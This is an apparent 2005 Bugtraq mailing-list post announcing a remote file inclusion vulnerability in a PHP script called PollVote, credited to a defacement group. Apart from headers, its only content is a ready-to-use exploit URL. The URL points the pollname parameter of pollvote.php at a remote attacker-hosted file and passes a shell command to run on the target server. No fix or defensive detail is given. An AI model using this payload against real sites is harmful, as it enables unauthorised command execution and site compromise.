[41161] in bugtraq
PollVote Remote File Inclusion
daemon@ATHENA.MIT.EDU (stormhacker@hotmail.com)
Mon Nov 14 13:30:41 2005
Date: 14 Nov 2005 01:52:15 -0000
Message-ID: <20051114015215.19716.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: stormhacker@hotmail.com
To: bugtraq@securityfocus.com
Title: PollVote Remote File Inclusion
http://www.worlddefacers.net
Vulnerability Discovery: rUnViRuS
----------------------------------
exploit :-
http://www.[host].com/[path]/pollvote.php?pollname=http://www.[host].com/CMD.gif?&cmd=ls
